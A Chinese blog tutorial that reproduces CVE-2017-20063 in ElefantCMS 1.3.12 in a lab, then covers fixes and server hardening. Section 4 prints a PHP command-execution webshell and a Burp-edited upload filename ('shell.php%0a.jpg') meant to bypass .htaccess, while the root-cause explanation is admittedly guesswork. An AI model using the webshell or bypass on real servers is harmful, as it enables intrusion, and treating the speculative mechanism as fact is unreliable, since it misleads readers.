news 2026/7/6 15:20:47

CVE-2017-20063漏洞复现:绕过.htaccess实现Webshell上传

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2017-20063漏洞复现:绕过.htaccess实现Webshell上传

1. 项目概述与核心目标

最近在整理一些经典的CMS漏洞案例,发现CVE-2017-20063这个漏洞非常有意思。它发生在ElefantCMS 1.3.12版本中,核心问题在于攻击者可以绕过服务器上关键的.htaccess文件限制,成功上传并执行Webshell。对于学习Web安全、特别是文件上传漏洞和服务器配置安全的朋友来说,这是一个绝佳的实战案例。很多靶场练习只停留在“改后缀名”或“前端绕过”的层面,而这个漏洞涉及到了更深一层的服务器解析逻辑和权限配置的对抗,能让你真正理解为什么有些“看起来安全”的配置依然会被攻破。

这个项目,我将带你从零开始,手把手搭建一个ElefantCMS 1.3.12的漏洞复现环境,并一步步演示如何利用这个漏洞。我们不仅会完成攻击,更重要的是,我会详细拆解每一步背后的原理:为什么.htaccess文件通常能防御恶意文件上传?ElefantCMS在这里犯了什么错?攻击链是如何构建的?理解了这些,你就能举一反三,在审计其他应用或配置自己服务器时,知道哪些地方是潜在的薄弱点。整个过程我会使用最常用的工具,确保你即使刚接触渗透测试也能跟着做下来。

2. 环境搭建与靶场部署

2.1 靶场组件选择与准备

复现一个漏洞,第一步永远是搭建一个与漏洞环境尽可能一致的靶场。对于CVE-2017-20063,我们需要以下核心组件:

  1. 操作系统:推荐使用Kali Linux或任何你熟悉的Linux发行版(如Ubuntu)。Windows系统也可以,但涉及路径和部分命令时可能需要调整。我将在Kali Linux下演示,这是渗透测试的标准环境,集成了我们所需的大部分工具。
  2. Web服务器Apache HTTP Server。这是漏洞产生的关键环境,因为.htaccess是Apache特有的分布式配置文件。我们需要确保Apache启用了mod_rewrite和允许.htaccess文件覆盖配置(AllowOverride All)。版本上,使用与当时漏洞环境相近的Apache 2.4.x系列即可。
  3. 编程语言环境PHP。ElefantCMS是基于PHP开发的。我们需要安装PHP,并确保包含必要的模块(如用于连接数据库的php-mysqlphp-mysqli)。PHP版本建议在5.6到7.2之间,以匹配2017年左右的主流环境。
  4. 数据库MySQLMariaDB。用于存储CMS的数据。
  5. 漏洞主体ElefantCMS 1.3.12。这是存在漏洞的精确版本。我们需要找到它的安装包。

注意:强烈建议在虚拟机(如VMware、VirtualBox)或Docker容器中搭建此环境。避免在个人主力机或生产服务器上直接操作,以防配置冲突或安全风险。

2.2 一步步搭建漏洞环境

假设你已经在Kali Linux虚拟机中,我们开始一步步部署。

第一步:安装Apache、PHP和MySQL

打开终端,使用apt包管理器安装基础服务套件。

sudo apt update sudo apt install apache2 mysql-server php php-mysql libapache2-mod-php php-cli php-curl php-gd php-mbstring -y

安装完成后,启动Apache和MySQL服务,并设置为开机自启。

sudo systemctl start apache2 sudo systemctl enable apache2 sudo systemctl start mysql sudo systemctl enable mysql

第二步:配置Apache以允许.htaccess

这是关键一步。默认情况下,Apache可能不允许在特定目录下使用.htaccess文件来覆盖全局配置。我们需要修改Apache的站点配置文件。

  1. 找到Apache的配置文件。在Kali/Ubuntu上,默认站点配置文件通常在/etc/apache2/sites-available/000-default.conf

  2. 使用文本编辑器(如nano或vim)打开它:

    sudo nano /etc/apache2/sites-available/000-default.conf
  3. <VirtualHost *:80>配置块内,找到对应网站根目录(通常是/var/www/html)的<Directory>指令。将其修改或确保为如下内容:

    <Directory /var/www/html> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory>

    重点是AllowOverride All这一行,它允许.htaccess文件覆盖此目录的Apache配置。

  4. 保存并退出编辑器。然后重启Apache服务使配置生效:

    sudo systemctl restart apache2

第三步:下载并部署ElefantCMS 1.3.12

  1. 我们需要找到ElefantCMS 1.3.12的安装包。由于是历史版本,可以从一些开源软件存档网站或GitHub的发布历史中寻找。这里假设我们已经下载了一个名为elefant-1.3.12.zip的文件。

  2. 将其解压到Apache的Web根目录:

    sudo unzip elefant-1.3.12.zip -d /var/www/html/elefant

    这将在/var/www/html下创建一个elefant目录,里面是CMS的所有文件。

  3. 设置正确的文件权限,确保Web服务器(用户通常是www-data)能够读写必要的目录。

    sudo chown -R www-data:www-data /var/www/html/elefant sudo chmod -R 755 /var/www/html/elefant

    实操心得:权限设置是Web安全的基础。这里给www-data用户所有权是让Apache能正常读写文件。但在生产环境中,需要遵循最小权限原则,比如上传目录可写,但执行目录不可写。

第四步:通过Web界面安装ElefantCMS

  1. 打开浏览器,访问http://[你的虚拟机IP]/elefant。你将看到ElefantCMS的安装向导。
  2. 按照向导步骤进行:
    • 检查环境要求(PHP版本、扩展、目录权限等),应全部通过。
    • 配置数据库:创建一个新的MySQL数据库(例如elefant_cve),并在安装界面填写数据库连接信息(主机localhost,用户名root,密码为你安装MySQL时设置的密码,数据库名elefant_cve)。
    • 设置管理员账号和站点信息。
  3. 安装完成后,删除或重命名安装目录/var/www/html/elefant/install,这是一个重要的安全措施。
sudo mv /var/www/html/elefant/install /var/www/html/elefant/install_backup

至此,一个存在漏洞的ElefantCMS 1.3.12靶场就搭建完成了。访问http://[你的虚拟机IP]/elefant应该能看到CMS的前台页面,登录后台可以管理内容。

3. 漏洞原理深度解析

在开始攻击之前,我们必须彻底理解漏洞的根源。这比单纯执行攻击脚本有价值得多。

3.1 .htaccess文件的安全作用

.htaccess(超文本访问)是Apache服务器的一个配置文件,它可以放在任何目录中,用于对该目录及其所有子目录进行访问控制、URL重写等配置。它的一个核心安全用途就是防止恶意文件执行

在Web应用中,用户上传功能通常需要一个目录来存储文件,比如/uploads/。我们绝对不希望用户上传的.php文件在这里被当作PHP脚本执行。通常,管理员会在这个上传目录下放置一个.htaccess文件,内容如下:

<FilesMatch "\.(php|php5|phtml|pl)$"> Order Allow,Deny Deny from all </FilesMatch>

或者对于Apache 2.4+:

<FilesMatch "\.(php|php5|phtml|pl)$"> Require all denied </FilesMatch>

这个配置的意思是:匹配所有以.php,.php5,.phtml,.pl结尾的文件,拒绝所有客户端访问。这样一来,即使攻击者费尽心机把一个Webshell(如shell.php)上传到了/uploads/目录,当任何人尝试通过浏览器访问http://example.com/uploads/shell.php时,Apache会直接返回403 Forbidden错误,脚本内容不会被执行。这是防御文件上传漏洞的一道非常有效的防线。

3.2 ElefantCMS的漏洞点:apps/filemanager/handlers/file/upload.php

ElefantCMS 1.3.12版本的文件管理器(File Manager)应用提供了一个文件上传功能。其处理上传的脚本位于apps/filemanager/handlers/file/upload.php

漏洞的核心在于这个脚本对上传文件的处理逻辑存在缺陷。我们来看一下问题代码(经过简化和分析):

  1. 文件接收与临时存储:脚本通过$_FILES接收上传的文件,并将其移动到一个临时位置或目标目录。
  2. 关键的错误逻辑:在某个代码路径下(通常与上传文件的命名或处理流程相关),脚本在移动或重命名文件时,未能正确地保留或应用目标目录的安全配置。更具体地说,它可能使用了某些PHP文件操作函数(如rename()copy())或自身的逻辑,在处理过程中短暂地将文件放置在一个不受保护.htaccess文件限制的目录,或者以某种方式绕过了.htaccessFilesMatch规则匹配。

一种典型且常见的利用方式是上传一个包含特殊字符或特殊序列的文件名。例如,如果Apache的配置或PHP的处理逻辑对文件名中的某些字符(如换行符\n、空字符\0等)解析不一致,就可能导致安全绕过。

假设上传目录的.htaccess规则是匹配.php结尾。如果攻击者上传一个文件名为shell.php\x0A.jpg(其中\x0A是换行符的十六进制表示)。在某些情况下:

  • .htaccessFilesMatch规则可能将\x0A视为文件名的一部分,因此shell.php\x0A.jpg不匹配\.php$规则(因为它不是以.php结尾,而是以.jpg结尾,尽管中间有特殊字符)。
  • 但Apache或操作系统在最终保存或执行文件时,可能将\x0A解释为分隔符,导致实际访问或创建的文件名是shell.php,从而绕过了防御。

在CVE-2017-20063的案例中,具体的利用方式可能与ElefantCMS文件管理器对上传文件名的净化(sanitization)逻辑不严有关,使得攻击者可以注入能够干扰Apache解析的字符序列。

3.3 攻击链串联

理解原理后,攻击链就清晰了:

  1. 定位入口:找到ElefantCMS的文件上传功能(通常在后台的文件管理器)。
  2. 制作载荷:创建一个包含Webshell代码的PHP文件,但为其构造一个特殊的文件名,该文件名能欺骗目标目录下的.htaccess规则。
  3. 上传绕过:利用文件管理器上传逻辑的缺陷,将特制的文件上传到受保护的目录(如/uploads/)。由于文件名特殊,.htaccess的过滤规则失效,文件被成功保存。
  4. 访问执行:直接通过浏览器访问上传成功的Webshell文件(此时Apache可能因为解析问题,将其识别为可执行的PHP文件),从而在服务器上执行任意代码。

4. 漏洞复现与Webshell上传实战

现在,我们进入实战环节,亲手利用这个漏洞。

4.1 信息收集与入口点寻找

  1. 登录后台:访问http://[你的虚拟机IP]/elefant/admin,使用安装时设置的管理员账号登录。
  2. 寻找文件管理器:在后台管理界面,通常会有“文件”(Files)或“文件管理器”(File Manager)的菜单项。点击进入。它的URL可能类似于http://[你的虚拟机IP]/elefant/filemanager
  3. 确认上传功能:在文件管理器界面,你应该能看到一个上传按钮或区域,允许你向服务器的特定目录(如/files//uploads/)上传文件。记下这个可上传的目录路径,我们后续需要知道Webshell上传到了哪里。

4.2 制作绕过.htaccess的Webshell

首先,我们创建一个最简单的PHP Webshell,用于验证代码执行。

内容如下(保存为shell.php):

<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } else { echo "Webshell is active. Use ?cmd=command to execute."; } ?>

这个脚本会接收一个名为cmd的GET参数,并将其作为系统命令执行。

关键步骤:构造恶意文件名

根据漏洞原理,我们需要给这个文件起一个能绕过.htaccess\.php$规则的名字。历史上对于此类漏洞,一种有效的载荷是利用空字节(%00)或换行符(\n\r\n)进行截断或混淆。但由于PHP版本和安全机制的更新,空字节截断在很多现代环境中已失效。

对于CVE-2017-20063,一种可行的尝试是使用换行符。在HTTP请求中,换行符可以编码为%0a。我们可以尝试上传一个名为shell.php%0a.jpg的文件。

实际操作中,我们不能直接修改本地文件名,因为操作系统不允许。我们需要在HTTP请求层面构造这个文件名。我们将使用Burp Suite这个代理工具来拦截和修改上传请求。

4.3 使用Burp Suite拦截并修改上传请求

  1. 配置浏览器代理:将你的浏览器(如Firefox)的代理设置为127.0.0.1:8080,指向Burp Suite。
  2. 启动Burp Suite:在Kali中打开Burp Suite Community Edition。
  3. 开启拦截:在Burp的Proxy->Intercept标签页,确保Intercept is on按钮是按下状态。
  4. 执行上传:在ElefantCMS的文件管理器页面,选择我们本地的shell.php文件进行上传。
  5. 拦截请求:此时Burp Suite会拦截到浏览器发出的上传请求。请求体应该是multipart/form-data格式,其中包含我们文件的数据。
  6. 修改文件名:在Burp的拦截界面,找到代表文件名的部分。它可能看起来像这样:
    Content-Disposition: form-data; name="file"; filename="shell.php"
    我们将filename的值修改为我们的恶意构造:shell.php%0a.jpg
    Content-Disposition: form-data; name="file"; filename="shell.php%0a.jpg"

    重要提示:这里的%0a是字面字符,不要进行URL解码。Burp显示的是什么就保持什么,或者直接输入%0a

  7. 转发请求:点击Forward按钮,将修改后的请求发送到服务器。

4.4 验证上传结果与访问Webshell

  1. 观察响应:在Burp的HTTP history中查看上传请求的响应。如果成功,响应中通常会包含文件已上传的信息,以及文件在服务器上的访问路径。例如,它可能返回一个JSON,里面包含filepath:/files/shell.php%0a.jpg

  2. 尝试访问:在浏览器中,尝试访问这个路径:http://[你的虚拟机IP]/elefant/files/shell.php%0a.jpg

    • 情况A(漏洞存在):如果漏洞成功触发,Apache可能因为解析问题,将shell.php%0a.jpg识别为PHP文件并执行。你可能会看到“Webshell is active”的页面。此时,尝试访问http://[你的虚拟机IP]/elefant/files/shell.php%0a.jpg?cmd=id,如果返回了当前Linux用户的id信息(如uid=33(www-data) gid=33(www-data) groups=33(www-data)),则证明Webshell完全生效,可以执行系统命令。
    • 情况B(被拦截):如果Apache的.htaccess规则仍然生效,你会收到一个403 Forbidden错误。
    • 情况C(404 Not Found):可能文件名在服务器端被进一步处理(如去除了特殊字符),导致文件被保存为shell.phpshell.jpg,你需要根据响应或服务器文件列表进行猜测和尝试。
  3. 服务器端确认:如果Web访问不成功,可以登录到服务器终端,查看上传目录下的实际文件。

    sudo ls -la /var/www/html/elefant/files/

    查看是否存在一个名字包含奇怪字符(可能显示为shell.php?shell.php后跟一个换行符标志)的文件。你可以尝试用cat命令查看其内容,或用php命令行直接执行它来验证。

    sudo php /var/www/html/elefant/files/shell.php$'\n'.jpg # 或者尝试找到确切的文件名

4.5 利用成功后的操作

一旦确认Webshell可以访问并执行命令,就证明了漏洞复现成功。请注意,这仅用于合法授权的安全测试和学习。你可以尝试一些无害的命令来验证权限,例如:

  • ?cmd=whoami(查看当前Web服务用户)
  • ?cmd=pwd(查看当前工作目录)
  • ?cmd=ls -la(列出当前目录文件)

5. 漏洞修复方案与深度防御

复现漏洞是为了更好地防御。我们来分析一下如何修复这个漏洞,并构建更深层的防御体系。

5.1 官方修复与补丁分析

对于CVE-2017-20063,ElefantCMS的开发团队在后续版本中发布了修复。修复的核心思路通常集中在以下几点:

  1. 强化文件名净化:在文件上传处理的代码中,增加更严格的文件名过滤。不仅要去除目录遍历字符(../),还要过滤或转义所有可能干扰Web服务器解析的特殊字符,如空字符(\0)、换行符(\n,\r)、分号(;)等。一个常见的做法是使用白名单机制,只允许字母、数字、点、连字符和下划线等有限字符。
  2. 统一文件扩展名处理:确保在保存文件之前,文件扩展名是根据文件内容(如MIME类型)或一个严格的白名单来确定的,而不是完全信任用户上传的文件名。即使文件名被篡改,最终保存到磁盘的扩展名也是安全的。
  3. 安全的重命名策略:上传文件后,不使用原始文件名,而是将其重命名为一个随机生成的字符串(如UUID),并保留原始扩展名(需经过白名单校验)。例如,evil.php%0a.jpg可能被重命名为a1b2c3d4.jpg。这彻底消除了通过精心构造文件名进行攻击的可能性。

如果你正在使用旧版本的ElefantCMS,最直接的办法就是升级到最新版本

5.2 服务器层面加固配置

除了修复应用代码,服务器配置是防御此类漏洞的坚实后盾。

  1. 限制PHP执行目录:在Apache配置中,可以使用php_admin_value指令,在虚拟主机或目录配置中直接禁用特定目录的PHP引擎。这比依赖.htaccess更可靠。

    <Directory /var/www/html/elefant/uploads> php_admin_value engine off </Directory>

    这样,即使.htaccess被绕过或配置错误,该目录下的任何.php文件都不会被PHP解析,而是以纯文本形式返回给浏览器。

  2. 使用FilesMatchLocation组合:在Apache主配置(httpd.confsites-available/下的配置文件)中为上传目录添加更严格的规则,而不是仅依赖.htaccess

    <LocationMatch "^/elefant/uploads/.*\.(php|php5|phtml|pl)$"> Require all denied </LocationMatch>
  3. 配置open_basedir:在PHP配置(php.ini)中,为每个虚拟主机设置open_basedir,将PHP脚本的文件操作限制在网站根目录下,防止攻击者通过Webshell访问系统敏感文件。

5.3 应用层最佳实践

对于开发者而言,设计文件上传功能时应遵循以下原则:

  • 白名单校验:只允许特定的、安全的文件扩展名(如.jpg,.png,.pdf)。绝对不要使用黑名单。
  • 文件类型双重校验:不仅检查文件扩展名,还要检查文件的MIME类型($_FILES[‘file’][‘type’]),甚至使用finfo_file()函数读取文件头进行更准确的判断。
  • 重命名文件:如前所述,使用随机文件名保存上传的文件。
  • 设置独立域名和存储:将用户上传的文件存储到独立的域名或子域名下,并确保该存储服务不执行任何动态脚本(静态文件服务)。这完全隔离了执行环境。
  • 权限最小化:上传目录只给Web服务器写权限,不给执行权限。在Linux上,目录权限可设置为755,文件权限设置为644

6. 拓展思考与同类漏洞挖掘

CVE-2017-20063不是一个孤立的案例。它代表了一类“解析差异”或“配置绕过”漏洞。理解它有助于你发现和防范类似问题。

6.1 常见的解析差异点

  1. Web服务器与后端语言的解析差异:Apache/IIS/Nginx与PHP/Python/Java对URL、路径、文件名中特殊字符的处理可能不同。例如,%00(空字节)在旧版PHP中可能导致字符串截断,而Web服务器可能不这么认为。
  2. 大小写敏感/不敏感:在Windows服务器上,文件系统通常不区分大小写(shell.PHP可能被当作shell.php执行),而Linux是区分的。如果.htaccess规则是\.php$,它可能匹配不到.PHP
  3. 多重扩展名shell.php.jpg。如果应用只检查最后一个扩展名(.jpg)并允许上传,而某些服务器配置(如误配置的AddHandler)可能将.php.jpg也交给PHP解析。
  4. 路径遍历与组合:上传文件名包含../(如../../../shell.php),如果应用未过滤,可能导致文件被保存到预期之外、可能没有.htaccess保护的目录。

6.2 在代码审计中关注什么

当你审计一个文件上传功能时,可以重点关注以下函数和逻辑:

  • move_uploaded_file():这是PHP中处理上传文件的关键函数。检查它的目标路径参数是否用户可控或经过拼接,且拼接前是否对用户输入进行了严格的过滤。
  • basename():这个函数用于获取路径中的文件名部分,但它可能无法处理所有特殊字符。不能完全依赖它来做安全过滤。
  • 任何字符串替换、正则表达式匹配文件扩展名的逻辑:检查其白名单是否完整,是否可能被绕过(如利用shell.p*hp)。
  • 文件保存前的重命名逻辑:是使用随机名,还是保留了原始文件名?

6.3 构建自己的安全测试流程

对于防御者,可以建立以下自查清单:

  • [ ] 上传目录是否设置了php_admin_value engine off或等效配置?
  • [ ] 应用代码是否使用白名单校验文件扩展名和MIME类型?
  • [ ] 保存的文件名是否是随机的?
  • [ ] 是否对用户提供的文件名进行了严格的特殊字符过滤?
  • [ ] 是否限制了上传文件的大小和类型?
  • [ ] 上传的文件是否进行了病毒或恶意内容扫描?(对于企业级应用)

通过这次对CVE-2017-20063的深入复现,我们从环境搭建、原理分析、实战利用到修复加固,完成了一个完整的学习闭环。这种“绕过配置型”漏洞提醒我们,安全是一个整体,需要代码逻辑、服务器配置、运维管理多层协作,任何一层的疏忽都可能导致整个防御体系的崩塌。真正的安全不在于有一道坚不可摧的墙,而在于即使一道墙被突破,还有第二道、第三道防线在等着。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/6 15:19:16

终极求职效率革命:NewJob智能插件帮你一键识别90%无效岗位

终极求职效率革命&#xff1a;NewJob智能插件帮你一键识别90%无效岗位 【免费下载链接】NewJob 一眼看出该职位最后修改时间&#xff0c;绿色为2周之内&#xff0c;暗橙色为1.5个月之内&#xff0c;红色为1.5个月以上 项目地址: https://gitcode.com/GitHub_Trending/ne/NewJ…

作者头像 李华
网站建设 2026/7/6 15:17:08

intellij-erlang高级技巧:10个让你事半功倍的使用方法

intellij-erlang高级技巧&#xff1a;10个让你事半功倍的使用方法 【免费下载链接】intellij-erlang Erlang IDE 项目地址: https://gitcode.com/gh_mirrors/in/intellij-erlang IntelliJ IDEA的Erlang插件是Erlang开发者最强大的集成开发环境&#xff0c;提供了完整的E…

作者头像 李华
网站建设 2026/7/6 15:16:30

STAR 2.7.11b:高性能RNA-seq比对工具的5个核心技术优势解析

STAR 2.7.11b&#xff1a;高性能RNA-seq比对工具的5个核心技术优势解析 【免费下载链接】STAR RNA-seq aligner 项目地址: https://gitcode.com/gh_mirrors/st/STAR STAR&#xff08;Spliced Transcripts Alignment to a Reference&#xff09;作为当前最先进的高性能RN…

作者头像 李华
网站建设 2026/7/6 15:09:15

python,django Python+Django高手嫁人指南:这4种男人代码再香也别碰,否则婚姻崩盘

奥斯卡王尔德讲过, “一个良好的婚姻能够让女性收获幸福, 一个糟糕的婚姻会致使女性走向毁灭”。婚姻在人生中占据了三分之二的比重, 谁都期望婚后是为未来人生增添助力, 而非带来困扰。尤其是女性, 在提及结婚对象时, 都满心期待寻觅到一个能够终身依靠的伴侣。然而, 存在一些…

作者头像 李华
网站建设 2026/7/6 15:08:23

4-20mA电流环技术与XTR116芯片应用指南

1. 4-20mA电流环技术基础与XTR116选型考量工业现场最头疼的问题莫过于信号传输过程中的干扰。我在化工厂做自动化改造时&#xff0c;曾遇到过传感器信号传输500米后完全失真的情况——这正是4-20mA电流环技术诞生的背景。与电压信号相比&#xff0c;电流信号具有天然的抗干扰优…

作者头像 李华